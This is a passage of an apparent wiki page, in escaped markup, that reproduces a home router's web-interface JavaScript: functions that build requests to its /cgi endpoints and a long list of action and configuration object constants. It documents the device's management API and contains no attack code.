			var func = hook ? function(ret) {if (!ret &amp;amp;&amp;amp; (ret = $.ret)) $.err(&amp;quot;cgi&amp;quot;, $.ret, unerr); if (typeof hook === &amp;quot;function&amp;quot;) hook(ret);} : null;&lt;br /&gt;
			var ret =  $.io(path, true, func, null, noquit, unerr);&lt;br /&gt;
			&lt;br /&gt;
			if (!ret &amp;amp;&amp;amp; (ret = $.ret))&lt;br /&gt;
				$.err(&amp;quot;cgi&amp;quot;, $.ret, unerr);&lt;br /&gt;
			return ret;&lt;br /&gt;
		},&lt;br /&gt;
&lt;br /&gt;
		act: function(type, oid, stack, pStack, attrs) {&lt;br /&gt;
			if (!type || !oid)&lt;br /&gt;
				return false;&lt;br /&gt;
			stack = stack ? stack : &amp;quot;0,0,0,0,0,0&amp;quot;;&lt;br /&gt;
			pStack = pStack ? pStack : &amp;quot;0,0,0,0,0,0&amp;quot;;&lt;br /&gt;
			attrs = $.toStr(attrs, &amp;quot;=&amp;quot;, &amp;quot;\r\n&amp;quot;, true);&lt;br /&gt;
			attrs = attrs.replace(/__stack=[0-9,]*\r\n/, &amp;quot;&amp;quot;);&lt;br /&gt;
			var ret = null;&lt;br /&gt;
			switch (type) {&lt;br /&gt;
				case ACT_ADD:		&lt;br /&gt;
					if ($.cn) attrs = $.ansi(attrs);&lt;br /&gt;
				case ACT_GET:		&lt;br /&gt;
					ret = {};&lt;br /&gt;
					break;&lt;br /&gt;
				case ACT_GL:		&lt;br /&gt;
				case ACT_GS:		&lt;br /&gt;
					ret = [];&lt;br /&gt;
					break;&lt;br /&gt;
				case ACT_SET:		&lt;br /&gt;
				case ACT_CGI:&lt;br /&gt;
					oid = oid ? oid : $.curPage.replace(/\.htm$/, &amp;quot;.cgi&amp;quot;);&lt;br /&gt;
					if ($.cn) attrs = $.ansi(attrs);&lt;br /&gt;
				case ACT_DEL:		&lt;br /&gt;
				case ACT_OP:&lt;br /&gt;
					break;&lt;br /&gt;
				default: &lt;br /&gt;
					return false;&lt;br /&gt;
			}&lt;br /&gt;
			$.as.push([type, null, oid, stack, pStack, attrs, attrs ? attrs.match(/\r\n/g).length : 0]);&lt;br /&gt;
			$.ds.push(ret);&lt;br /&gt;
			return ret;&lt;br /&gt;
		},&lt;br /&gt;
		&lt;br /&gt;
		exe: function(hook, unerr, securityLevel) {&lt;br /&gt;
			var url = &amp;quot;/cgi?&amp;quot;;&lt;br /&gt;
			var data = &amp;quot;&amp;quot;;&lt;br /&gt;
			var index = 0;&lt;br /&gt;
			var obj;&lt;br /&gt;
			var bAnsi = false;&lt;br /&gt;
			&lt;br /&gt;
			var tmpdata = &amp;quot;&amp;quot;;&lt;br /&gt;
			&lt;br /&gt;
			if( INCLUDE_LOGIN_GDPR_ENCRYPT &amp;amp;&amp;amp; securityLevel != 0)&lt;br /&gt;
			{&lt;br /&gt;
				&lt;br /&gt;
				try{&lt;br /&gt;
					url=&amp;quot;/cgi_gdpr?&amp;quot;;&lt;br /&gt;
				}&lt;br /&gt;
				catch(e)&lt;br /&gt;
				{&lt;br /&gt;
				}&lt;br /&gt;
			}&lt;br /&gt;
			&lt;br /&gt;
			&lt;br /&gt;
			if ($.as.length == 0 || $.local || $.sim) {&lt;br /&gt;
				if (hook &amp;amp;&amp;amp; typeof hook === &amp;quot;function&amp;quot;) $.timeout(hook, 200);&lt;br /&gt;
				while($.as.pop() !== undefined);&lt;br /&gt;
				while($.ds.pop() !== undefined);&lt;br /&gt;
				return 0;&lt;br /&gt;
			}&lt;br /&gt;
			&lt;br /&gt;
			$.empty($.id(&amp;quot;ansiform&amp;quot;));&lt;br /&gt;
			while ($.ansiarg.length) {&lt;br /&gt;
				obj = $.ansiarg.shift();&lt;br /&gt;
				$.append($.id(&amp;quot;ansiform&amp;quot;), &amp;quot;&amp;lt;input type=&#039;hidden&#039; name=&#039;&amp;quot;+obj[0]+&amp;quot;&#039; value=&#039;&amp;quot;+obj[1].replace(/\&amp;amp;/g, &amp;quot;&amp;amp;amp;&amp;quot;).replace(/&amp;lt;/g, &amp;quot;&amp;amp;lt;&amp;quot;).replace(/&#039;/g, &amp;quot;&amp;amp;apos;&amp;quot;)+&amp;quot;&#039; /&amp;gt;&amp;quot;);&lt;br /&gt;
				bAnsi = true;&lt;br /&gt;
			}&lt;br /&gt;
			&lt;br /&gt;
			if(INCLUDE_LOGIN_GDPR_ENCRYPT &amp;amp;&amp;amp; url.match(&amp;quot;/cgi_gdpr&amp;quot;) != null)&lt;br /&gt;
			{&lt;br /&gt;
				while(obj = $.as.shift()){&lt;br /&gt;
					//url = &amp;quot;/cgi&amp;quot;;&lt;br /&gt;
					tmpdata += obj[0] + (obj[1] ? &amp;quot;=&amp;quot; + obj[1] : &amp;quot;&amp;quot;) + &amp;quot;&amp;amp;&amp;quot;;&lt;br /&gt;
					//url += obj[0] + (obj[1] ? &amp;quot;=&amp;quot; + obj[1] : &amp;quot;&amp;quot;) + &amp;quot;&amp;amp;&amp;quot;;&lt;br /&gt;
					data += &amp;quot;[&amp;quot; + obj[2] + &amp;quot;#&amp;quot; + obj[3] + &amp;quot;#&amp;quot; + obj[4] + &amp;quot;]&amp;quot; + index + &amp;quot;, &amp;quot; + obj[6] + &amp;quot;\r\n&amp;quot; + obj[5];				&lt;br /&gt;
					index++;&lt;br /&gt;
				}	&lt;br /&gt;
				tmpdata = tmpdata.substr(0, tmpdata.length - 1);&lt;br /&gt;
				tmpdata = tmpdata + &amp;quot;\r\n&amp;quot;+data;&lt;br /&gt;
				data = tmpdata;&lt;br /&gt;
			}&lt;br /&gt;
			else&lt;br /&gt;
			{&lt;br /&gt;
				while(obj = $.as.shift()){&lt;br /&gt;
					url += obj[0] + (obj[1] ? &amp;quot;=&amp;quot; + obj[1] : &amp;quot;&amp;quot;) + &amp;quot;&amp;amp;&amp;quot;;&lt;br /&gt;
					data += &amp;quot;[&amp;quot; + obj[2] + &amp;quot;#&amp;quot; + obj[3] + &amp;quot;#&amp;quot; + obj[4] + &amp;quot;]&amp;quot; + index + &amp;quot;, &amp;quot; + obj[6] + &amp;quot;\r\n&amp;quot; + obj[5];				&lt;br /&gt;
					index++;&lt;br /&gt;
				}	&lt;br /&gt;
			}		&lt;br /&gt;
			url = url.substr(0, url.length - 1);&lt;br /&gt;
			&lt;br /&gt;
			if (hook) {&lt;br /&gt;
				var tmpds = $.mkArr($.ds);&lt;br /&gt;
				while($.ds.length) $.ds.pop();	&lt;br /&gt;
			}&lt;br /&gt;
			&lt;br /&gt;
			var resolve = function(ret, ds) {&lt;br /&gt;
				if (typeof ret !== &amp;quot;number&amp;quot;) {&lt;br /&gt;
					var lines = ret.split(&#039;\n&#039;);&lt;br /&gt;
					ret = 0;&lt;br /&gt;
					$.ret = 0;&lt;br /&gt;
					var scripts = &amp;quot;&amp;quot;;&lt;br /&gt;
					&lt;br /&gt;
					for (var i = 0, l = lines.length; i &amp;lt; l; i++) {&lt;br /&gt;
						if (lines[i] == &amp;quot;&amp;quot;) continue;&lt;br /&gt;
						if (lines[i].charAt(0) == &amp;quot;[&amp;quot;) {&lt;br /&gt;
							if (scripts != &amp;quot;&amp;quot;) {&lt;br /&gt;
								$.script(scripts);&lt;br /&gt;
								if ($.ret) {&lt;br /&gt;
									ret = $.ret;&lt;br /&gt;
									$.err(&amp;quot;cgi&amp;quot;, ret, unerr);&lt;br /&gt;
									break;&lt;br /&gt;
								}&lt;br /&gt;
								scripts = &amp;quot;&amp;quot;;&lt;br /&gt;
							}&lt;br /&gt;
							var n = lines[i].indexOf(&amp;quot;]&amp;quot;);&lt;br /&gt;
							var j = parseInt(lines[i].substr(n+1), 10);&lt;br /&gt;
							var stack = lines[i].substr(1, n-1);&lt;br /&gt;
							var instance;&lt;br /&gt;
							if (stack == &amp;quot;error&amp;quot;) {&lt;br /&gt;
								if (j) {&lt;br /&gt;
									ret = j;&lt;br /&gt;
									if (ret != ERR_HTTP_ERR_CGI_INVALID_ANSI) $.err(&amp;quot;exe&amp;quot;, ret, unerr);&lt;br /&gt;
									break;&lt;br /&gt;
								}&lt;br /&gt;
							}&lt;br /&gt;
							else if (ds[j] instanceof Array) {&lt;br /&gt;
								instance = {__stack: stack};&lt;br /&gt;
								ds[j].push(instance);&lt;br /&gt;
							}&lt;br /&gt;
							else if (ds[j] != null) {&lt;br /&gt;
								instance  = ds[j];&lt;br /&gt;
								instance.__stack = stack;&lt;br /&gt;
							}&lt;br /&gt;
						}&lt;br /&gt;
						else {&lt;br /&gt;
							if (stack == &amp;quot;cgi&amp;quot;) {&lt;br /&gt;
								scripts += lines[i] + &#039;\n&#039;;&lt;br /&gt;
							}&lt;br /&gt;
							else {&lt;br /&gt;
								var attr = lines[i].split(&amp;quot;=&amp;quot;);&lt;br /&gt;
								instance[attr[0]] = attr.slice(1).join(&#039;=&#039;);&lt;br /&gt;
							}&lt;br /&gt;
						}&lt;br /&gt;
					}&lt;br /&gt;
				}&lt;br /&gt;
				while(ds.length) ds.pop();&lt;br /&gt;
				return ret;&lt;br /&gt;
			}&lt;br /&gt;
			&lt;br /&gt;
			if (bAnsi) {&lt;br /&gt;
				var formObj = $.d.forms[0];	&lt;br /&gt;
				try {&lt;br /&gt;
					formObj.target = &amp;quot;up_frame&amp;quot;;&lt;br /&gt;
					formObj.action = &amp;quot;/cgi/ansi&amp;quot;;&lt;br /&gt;
					formObj.submit();&lt;br /&gt;
				}catch(e){}&lt;br /&gt;
			}&lt;br /&gt;
			&lt;br /&gt;
			if (hook) {&lt;br /&gt;
				var resolve2 = function(){&lt;br /&gt;
				$.io(url, false, function(ret){ ret = resolve(ret, tmpds); if (typeof hook === &amp;quot;function&amp;quot;) hook(ret);}, data, false, unerr)};&lt;br /&gt;
				if (bAnsi) $.timeout(resolve2, 100);&lt;br /&gt;
				else resolve2();&lt;br /&gt;
				return 0;&lt;br /&gt;
			}&lt;br /&gt;
			else {&lt;br /&gt;
				while(ret = $.io(url, false, null, data, false, unerr)) {&lt;br /&gt;
					ret = resolve(ret, $.ds);&lt;br /&gt;
					if (ret != ERR_HTTP_ERR_CGI_INVALID_ANSI) return ret;&lt;br /&gt;
					count++;&lt;br /&gt;
					if (count &amp;gt; 3) return $.err(&amp;quot;exe&amp;quot;, ERR_HTTP_ERR_CGI_INVALID_ANSI, unerr);&lt;br /&gt;
				}&lt;br /&gt;
			}&lt;br /&gt;
		}&lt;br /&gt;
	};&lt;br /&gt;
})();&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; CGI parameters extracted from lib.js and oid_str.js&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;var ACT_GET = 1;&lt;br /&gt;
var ACT_SET = 2;&lt;br /&gt;
var ACT_ADD = 3;&lt;br /&gt;
var ACT_DEL = 4;&lt;br /&gt;
var ACT_GL  = 5;&lt;br /&gt;
var ACT_GS  = 6;&lt;br /&gt;
var ACT_OP  = 7;&lt;br /&gt;
var ACT_CGI = 8;&lt;br /&gt;
var ACT_SIG = 9;&lt;br /&gt;
&lt;br /&gt;
var ACT_OP_REBOOT = &amp;quot;ACT_REBOOT&amp;quot;;&lt;br /&gt;
var ACT_OP_FACTORY_RESET = &amp;quot;ACT_FACTORY_RESET&amp;quot;;&lt;br /&gt;
var ACT_OP_DHCP_RENEW = &amp;quot;ACT_DHCP_RENEW&amp;quot;;&lt;br /&gt;
var ACT_OP_DHCP_RELEASE = &amp;quot;ACT_DHCP_RELEASE&amp;quot;;&lt;br /&gt;
var ACT_OP_PPP_CONN = &amp;quot;ACT_PPP_CONN&amp;quot;;&lt;br /&gt;
var ACT_OP_PPP_DISCONN = &amp;quot;ACT_PPP_DISCONN&amp;quot;;&lt;br /&gt;
var ACT_OP_WLAN_GET_NEW_PIN = &amp;quot;ACT_WLAN_GET_NEW_PIN&amp;quot;;&lt;br /&gt;
var ACT_OP_WLAN_RESTORE_PIN = &amp;quot;ACT_WLAN_RESTORE_PIN&amp;quot;;&lt;br /&gt;
var ACT_OP_WLAN_UPDATE_ASSOC = &amp;quot;ACT_WLAN_UPDATE_ASSOC&amp;quot;;&lt;br /&gt;
var ACT_OP_WLAN_WPS_PBC = &amp;quot;ACT_WLAN_WPS_PBC&amp;quot;;&lt;br /&gt;
var ACT_OP_WLAN_WPS_PIN = &amp;quot;ACT_WLAN_WPS_PIN&amp;quot;;&lt;br /&gt;
var ACT_OP_WLAN_SCAN = &amp;quot;ACT_WLAN_SCAN&amp;quot;;&lt;br /&gt;
var ACT_OP_NTP_REQUEST = &amp;quot;ACT_NTP_REQUEST&amp;quot;;&lt;br /&gt;
var ACT_OP_DLNA_MANUAL_SCAN = &amp;quot;ACT_DLNA_MANUAL_SCAN&amp;quot;;&lt;br /&gt;
var ACT_OP_L2TP_CONN = &amp;quot;ACT_L2TP_CONN&amp;quot;;&lt;br /&gt;
var ACT_OP_L2TP_DISCONN = &amp;quot;ACT_L2TP_DISCONN&amp;quot;;&lt;br /&gt;
var ACT_OP_PPTP_CONN = &amp;quot;ACT_PPTP_CONN&amp;quot;;&lt;br /&gt;
var ACT_OP_PPTP_DISCONN = &amp;quot;ACT_PPTP_DISCONN&amp;quot;;&lt;br /&gt;
var ACT_OP_WAN_TYPE_DETECT = &amp;quot;ACT_WAN_TYPE_DETECT&amp;quot;;&lt;br /&gt;
var ACT_OP_BPA_CONN = &amp;quot;ACT_BPA_CONN&amp;quot;;&lt;br /&gt;
var ACT_OP_BPA_DISCONN = &amp;quot;ACT_BPA_DISCONN&amp;quot;;&lt;br /&gt;
var ACT_OP_IPPING = &amp;quot;ACT_OP_IPPING&amp;quot;;&lt;br /&gt;
var ACT_OP_TRACERT = &amp;quot;ACT_OP_TRACERT&amp;quot;;&lt;br /&gt;
var ERR_HTTP_ERR_CGI_INVALID_ANSI = 71017;&lt;br /&gt;
&lt;br /&gt;
var IGD = &amp;quot;IGD&amp;quot;&lt;br /&gt;
var IGD_DEV_INFO = &amp;quot;IGD_DEV_INFO&amp;quot;&lt;br /&gt;
var SYSLOG_CFG = &amp;quot;SYSLOG_CFG&amp;quot;&lt;br /&gt;
var MANAGEMENT_SERVER = &amp;quot;MANAGEMENT_SERVER&amp;quot;&lt;br /&gt;
var ETH_SWITCH = &amp;quot;ETH_SWITCH&amp;quot;&lt;br /&gt;
var SYS_CFG = &amp;quot;SYS_CFG&amp;quot;&lt;br /&gt;
var NET_CFG = &amp;quot;NET_CFG&amp;quot;&lt;br /&gt;
var USER_CFG = &amp;quot;USER_CFG&amp;quot;&lt;br /&gt;
var CURRENT_USER = &amp;quot;CURRENT_USER&amp;quot;&lt;br /&gt;
var APP_CFG = &amp;quot;APP_CFG&amp;quot;&lt;br /&gt;
var HTTP_CFG = &amp;quot;HTTP_CFG&amp;quot;&lt;br /&gt;
var HTTPS_CERT_AUTH = &amp;quot;HTTPS_CERT_AUTH&amp;quot;&lt;br /&gt;
var PH_DDNS_CFG = &amp;quot;PH_DDNS_CFG&amp;quot;&lt;br /&gt;
var PH_RT_DATA = &amp;quot;PH_RT_DATA&amp;quot;&lt;br /&gt;
var DYN_DNS_CFG = &amp;quot;DYN_DNS_CFG&amp;quot;&lt;br /&gt;
var UPNP_CFG = &amp;quot;UPNP_CFG&amp;quot;&lt;br /&gt;
var UPNP_PORTMAPPING = &amp;quot;UPNP_PORTMAPPING&amp;quot;&lt;br /&gt;
var DIAG_TOOL = &amp;quot;DIAG_TOOL&amp;quot;&lt;br /&gt;
var CWMP_CFG = &amp;quot;CWMP_CFG&amp;quot;&lt;br /&gt;
var SNMP_CFG = &amp;quot;SNMP_CFG&amp;quot;&lt;br /&gt;
var NOIP_DNS_CFG = &amp;quot;NOIP_DNS_CFG&amp;quot;&lt;br /&gt;
var CMX_DNS_CFG = &amp;quot;CMX_DNS_CFG&amp;quot;&lt;br /&gt;
var ACL_CFG = &amp;quot;ACL_CFG&amp;quot;&lt;br /&gt;
var WAN_TYPE_DETECT = &amp;quot;WAN_TYPE_DETECT&amp;quot;&lt;br /&gt;
var DMZ_HOST_CFG = &amp;quot;DMZ_HOST_CFG&amp;quot;&lt;br /&gt;
var TIME = &amp;quot;TIME&amp;quot;&lt;br /&gt;
var HOUR = &amp;quot;HOUR&amp;quot;&lt;br /&gt;
var L3_FORWARDING = &amp;quot;L3_FORWARDING&amp;quot;&lt;br /&gt;
var L3_FORWARDING_ENTRY = &amp;quot;L3_FORWARDING_ENTRY&amp;quot;&lt;br /&gt;
var L3_IP6_FORWARDING = &amp;quot;L3_IP6_FORWARDING&amp;quot;&lt;br /&gt;
var L3_IP6_FORWARDING_ENTRY = &amp;quot;L3_IP6_FORWARDING_ENTRY&amp;quot;&lt;br /&gt;
var L2_BRIDGING = &amp;quot;L2_BRIDGING&amp;quot;&lt;br /&gt;
var L2_BRIDGING_ENTRY = &amp;quot;L2_BRIDGING_ENTRY&amp;quot;&lt;br /&gt;
var L2_BRIDGING_FILTER = &amp;quot;L2_BRIDGING_FILTER&amp;quot;&lt;br /&gt;
var L2_BRIDGING_INTF = &amp;quot;L2_BRIDGING_INTF&amp;quot;&lt;br /&gt;
var LAN_DEV = &amp;quot;LAN_DEV&amp;quot;&lt;br /&gt;
var LAN_HOST_CFG = &amp;quot;LAN_HOST_CFG&amp;quot;&lt;br /&gt;
var LAN_IP_INTF = &amp;quot;LAN_IP_INTF&amp;quot;&lt;br /&gt;
var LAN_DHCP_STATIC_ADDR = &amp;quot;LAN_DHCP_STATIC_ADDR&amp;quot;&lt;br /&gt;
var LAN_DHCP_COND_SRV_POOL = &amp;quot;LAN_DHCP_COND_SRV_POOL&amp;quot;&lt;br /&gt;
var LAN_DHCP_COND_SRV_POOL_OPT = &amp;quot;LAN_DHCP_COND_SRV_POOL_OPT&amp;quot;&lt;br /&gt;
var YANDEX_DNS_POOL = &amp;quot;YANDEX_DNS_POOL&amp;quot;&lt;br /&gt;
var LAN_IP6_HOST_CFG = &amp;quot;LAN_IP6_HOST_CFG&amp;quot;&lt;br /&gt;
var LAN_IP6_INTF = &amp;quot;LAN_IP6_INTF&amp;quot;&lt;br /&gt;
var LAN_ETH_INTF = &amp;quot;LAN_ETH_INTF&amp;quot;&lt;br /&gt;
var LAN_HOSTS = &amp;quot;LAN_HOSTS&amp;quot;&lt;br /&gt;
var LAN_HOST_ENTRY = &amp;quot;LAN_HOST_ENTRY&amp;quot;&lt;br /&gt;
var LAN_WLAN = &amp;quot;LAN_WLAN&amp;quot;&lt;br /&gt;
var LAN_WLAN_WPS = &amp;quot;LAN_WLAN_WPS&amp;quot;&lt;br /&gt;
var LAN_WLAN_MACTABLEENTRY = &amp;quot;LAN_WLAN_MACTABLEENTRY&amp;quot;&lt;br /&gt;
var LAN_WLAN_ASSOC_DEV = &amp;quot;LAN_WLAN_ASSOC_DEV&amp;quot;&lt;br /&gt;
var LAN_WLAN_BSSDESC_ENTRY = &amp;quot;LAN_WLAN_BSSDESC_ENTRY&amp;quot;&lt;br /&gt;
var LAN_WLAN_WEPKEY = &amp;quot;LAN_WLAN_WEPKEY&amp;quot;&lt;br /&gt;
var LAN_WLAN_WDSBRIDGE = &amp;quot;LAN_WLAN_WDSBRIDGE&amp;quot;&lt;br /&gt;
var LAN_WLAN_MULTISSID = &amp;quot;LAN_WLAN_MULTISSID&amp;quot;&lt;br /&gt;
var LAN_WLAN_MSSIDENTRY = &amp;quot;LAN_WLAN_MSSIDENTRY&amp;quot;&lt;br /&gt;
var LAN_WLAN_MSSIDWEPKEY = &amp;quot;LAN_WLAN_MSSIDWEPKEY&amp;quot;&lt;br /&gt;
var MSSID_MACTABLEENTRY = &amp;quot;MSSID_MACTABLEENTRY&amp;quot;&lt;br /&gt;
var LAN_WLAN_WLBRNAME = &amp;quot;LAN_WLAN_WLBRNAME&amp;quot;&lt;br /&gt;
var LAN_WLAN_TASK_SCHEDULE = &amp;quot;LAN_WLAN_TASK_SCHEDULE&amp;quot;&lt;br /&gt;
var LAN_WLAN_QUICKSAVE = &amp;quot;LAN_WLAN_QUICKSAVE&amp;quot;&lt;br /&gt;
var LAN_WLAN_GUESTNET = &amp;quot;LAN_WLAN_GUESTNET&amp;quot;&lt;br /&gt;
var LAN_IGMP_SNOOP = &amp;quot;LAN_IGMP_SNOOP&amp;quot;&lt;br /&gt;
var WAN_DEV = &amp;quot;WAN_DEV&amp;quot;&lt;br /&gt;
var WAN_COMMON_INTF_CFG = &amp;quot;WAN_COMMON_INTF_CFG&amp;quot;&lt;br /&gt;
var WAN_DSL_INTF_CFG = &amp;quot;WAN_DSL_INTF_CFG&amp;quot;&lt;br /&gt;
var WAN_DSL_INTF_STATS = &amp;quot;WAN_DSL_INTF_STATS&amp;quot;&lt;br /&gt;
var WAN_DSL_INTF_STATS_TOTAL = &amp;quot;WAN_DSL_INTF_STATS_TOTAL&amp;quot;&lt;br /&gt;
var WAN_DSL_AUTOPVC = &amp;quot;WAN_DSL_AUTOPVC&amp;quot;&lt;br /&gt;
var WAN_DSL_AUTO_PVC_PAIR = &amp;quot;WAN_DSL_AUTO_PVC_PAIR&amp;quot;&lt;br /&gt;
var WAN_ETH_INTF = &amp;quot;WAN_ETH_INTF&amp;quot;&lt;br /&gt;
var WAN_ETH_INTF_STATS = &amp;quot;WAN_ETH_INTF_STATS&amp;quot;&lt;br /&gt;
var WAN_PON = &amp;quot;WAN_PON&amp;quot;&lt;br /&gt;
var WAN_EPON_INTF = &amp;quot;WAN_EPON_INTF&amp;quot;&lt;br /&gt;
var WAN_EPON_INTF_OAM_STATS = &amp;quot;WAN_EPON_INTF_OAM_STATS&amp;quot;&lt;br /&gt;
var WAN_EPON_INTF_MPCP_STATS = &amp;quot;WAN_EPON_INTF_MPCP_STATS&amp;quot;&lt;br /&gt;
var WAN_EPON_INTF_STATS = &amp;quot;WAN_EPON_INTF_STATS&amp;quot;&lt;br /&gt;
var WAN_EPON_INTF_OPTICAL_STATS = &amp;quot;WAN_EPON_INTF_OPTICAL_STATS&amp;quot;&lt;br /&gt;
var WAN_GPON_INTF = &amp;quot;WAN_GPON_INTF&amp;quot;&lt;br /&gt;
var WAN_GPON_INTF_OMCI_STATS = &amp;quot;WAN_GPON_INTF_OMCI_STATS&amp;quot;&lt;br /&gt;
var WAN_GPON_INTF_STATS = &amp;quot;WAN_GPON_INTF_STATS&amp;quot;&lt;br /&gt;
var WAN_GPON_INTF_OPTICAL_STATS = &amp;quot;WAN_GPON_INTF_OPTICAL_STATS&amp;quot;&lt;br /&gt;
var WAN_CONN_DEVICE = &amp;quot;WAN_CONN_DEVICE&amp;quot;&lt;br /&gt;
var WAN_DSL_LINK_CFG = &amp;quot;WAN_DSL_LINK_CFG&amp;quot;&lt;br /&gt;
var WAN_PON_LINK_CFG = &amp;quot;WAN_PON_LINK_CFG&amp;quot;&lt;br /&gt;
var WAN_ETH_LINK_CFG = &amp;quot;WAN_ETH_LINK_CFG&amp;quot;&lt;br /&gt;
var WAN_USB_3G_LINK_CFG = &amp;quot;WAN_USB_3G_LINK_CFG&amp;quot;&lt;br /&gt;
var USB_MODEM_PARAM = &amp;quot;USB_MODEM_PARAM&amp;quot;&lt;br /&gt;
var WAN_L2TP_CONN = &amp;quot;WAN_L2TP_CONN&amp;quot;&lt;br /&gt;
var WAN_L2TP_CONN_PORTMAPPING = &amp;quot;WAN_L2TP_CONN_PORTMAPPING&amp;quot;&lt;br /&gt;
var L2TP_CONN_PORTTRIGGERING = &amp;quot;L2TP_CONN_PORTTRIGGERING&amp;quot;&lt;br /&gt;
var WAN_L2TP_CONN_STATS = &amp;quot;WAN_L2TP_CONN_STATS&amp;quot;&lt;br /&gt;
var WAN_PPTP_CONN = &amp;quot;WAN_PPTP_CONN&amp;quot;&lt;br /&gt;
var WAN_PPTP_CONN_PORTMAPPING = &amp;quot;WAN_PPTP_CONN_PORTMAPPING&amp;quot;&lt;br /&gt;
var PPTP_CONN_PORTTRIGGERING = &amp;quot;PPTP_CONN_PORTTRIGGERING&amp;quot;&lt;br /&gt;
var WAN_PPTP_CONN_STATS = &amp;quot;WAN_PPTP_CONN_STATS&amp;quot;&lt;br /&gt;
var WAN_IP_CONN = &amp;quot;WAN_IP_CONN&amp;quot;&lt;br /&gt;
var WAN_IP_CONN_PORTMAPPING = &amp;quot;WAN_IP_CONN_PORTMAPPING&amp;quot;&lt;br /&gt;
var IP_CONN_PORTTRIGGERING = &amp;quot;IP_CONN_PORTTRIGGERING&amp;quot;&lt;br /&gt;
var WAN_PPP_CONN = &amp;quot;WAN_PPP_CONN&amp;quot;&lt;br /&gt;
var WAN_PPP_CONN_PORTMAPPING = &amp;quot;WAN_PPP_CONN_PORTMAPPING&amp;quot;&lt;br /&gt;
var PPP_CONN_PORTTRIGGERING = &amp;quot;PPP_CONN_PORTTRIGGERING&amp;quot;&lt;br /&gt;
var WAN_PPP_CONN_STATS = &amp;quot;WAN_PPP_CONN_STATS&amp;quot;&lt;br /&gt;
var STAT_CFG = &amp;quot;STAT_CFG&amp;quot;&lt;br /&gt;
var STAT_ENTRY = &amp;quot;STAT_ENTRY&amp;quot;&lt;br /&gt;
var DDOS_CFG = &amp;quot;DDOS_CFG&amp;quot;&lt;br /&gt;
var DOS_HOST = &amp;quot;DOS_HOST&amp;quot;&lt;br /&gt;
var ARP = &amp;quot;ARP&amp;quot;&lt;br /&gt;
var ARP_ENTRY = &amp;quot;ARP_ENTRY&amp;quot;&lt;br /&gt;
var ARP_BIND = &amp;quot;ARP_BIND&amp;quot;&lt;br /&gt;
var ARP_BIND_ENTRY = &amp;quot;ARP_BIND_ENTRY&amp;quot;&lt;br /&gt;
var QUEUE_MANAGEMENT = &amp;quot;QUEUE_MANAGEMENT&amp;quot;&lt;br /&gt;
var CLASSIFICATION = &amp;quot;CLASSIFICATION&amp;quot;&lt;br /&gt;
var QOS_APP = &amp;quot;QOS_APP&amp;quot;&lt;br /&gt;
var QOS_INTF = &amp;quot;QOS_INTF&amp;quot;&lt;br /&gt;
var QOS_QUEUE = &amp;quot;QOS_QUEUE&amp;quot;&lt;br /&gt;
var TC = &amp;quot;TC&amp;quot;&lt;br /&gt;
var TC_RULE = &amp;quot;TC_RULE&amp;quot;&lt;br /&gt;
var ALG_CFG = &amp;quot;ALG_CFG&amp;quot;&lt;br /&gt;
var IPTV = &amp;quot;IPTV&amp;quot;&lt;br /&gt;
var DSL_IPTV_CFG = &amp;quot;DSL_IPTV_CFG&amp;quot;&lt;br /&gt;
var ETH_IPTV_CFG = &amp;quot;ETH_IPTV_CFG&amp;quot;&lt;br /&gt;
var FIREWALL = &amp;quot;FIREWALL&amp;quot;&lt;br /&gt;
var INTERNAL_HOST = &amp;quot;INTERNAL_HOST&amp;quot;&lt;br /&gt;
var EXTERNAL_HOST = &amp;quot;EXTERNAL_HOST&amp;quot;&lt;br /&gt;
var TASK_SCHEDULE = &amp;quot;TASK_SCHEDULE&amp;quot;&lt;br /&gt;
var RULE = &amp;quot;RULE&amp;quot;&lt;br /&gt;
var URL_LIST = &amp;quot;URL_LIST&amp;quot;&lt;br /&gt;
var URL_CFG = &amp;quot;URL_CFG&amp;quot;&lt;br /&gt;
var IP6_FIREWALL = &amp;quot;IP6_FIREWALL&amp;quot;&lt;br /&gt;
var IP6_INTERNAL_HOST = &amp;quot;IP6_INTERNAL_HOST&amp;quot;&lt;br /&gt;
var IP6_EXTERNAL_HOST = &amp;quot;IP6_EXTERNAL_HOST&amp;quot;&lt;br /&gt;
var IP6_TASK_SCHEDULE = &amp;quot;IP6_TASK_SCHEDULE&amp;quot;&lt;br /&gt;
var IP6_RULE = &amp;quot;IP6_RULE&amp;quot;&lt;br /&gt;
var IP6_TUNNEL = &amp;quot;IP6_TUNNEL&amp;quot;&lt;br /&gt;
var DSLITE = &amp;quot;DSLITE&amp;quot;&lt;br /&gt;
var SIT_6RD = &amp;quot;SIT_6RD&amp;quot;&lt;br /&gt;
var SERVICES = &amp;quot;SERVICES&amp;quot;&lt;br /&gt;
var VOICE = &amp;quot;VOICE&amp;quot;&lt;br /&gt;
var XTP_VOICE_PROCESS_STS = &amp;quot;XTP_VOICE_PROCESS_STS&amp;quot;&lt;br /&gt;
var XTP_VOICE_PROCESS = &amp;quot;XTP_VOICE_PROCESS&amp;quot;&lt;br /&gt;
var VOICE_CAP = &amp;quot;VOICE_CAP&amp;quot;&lt;br /&gt;
var VOICE_CAP_SIP = &amp;quot;VOICE_CAP_SIP&amp;quot;&lt;br /&gt;
var VOICE_CAP_MGCP = &amp;quot;VOICE_CAP_MGCP&amp;quot;&lt;br /&gt;
var VOICE_CAP_CODECS = &amp;quot;VOICE_CAP_CODECS&amp;quot;&lt;br /&gt;
var VOICE_PROF = &amp;quot;VOICE_PROF&amp;quot;&lt;br /&gt;
var VOICE_PROF_PROVIDER = &amp;quot;VOICE_PROF_PROVIDER&amp;quot;&lt;br /&gt;
var VOICE_PROF_SIP = &amp;quot;VOICE_PROF_SIP&amp;quot;&lt;br /&gt;
var VOICE_PROF_SIP_EVTSUBSCRIBE = &amp;quot;VOICE_PROF_SIP_EVTSUBSCRIBE&amp;quot;&lt;br /&gt;
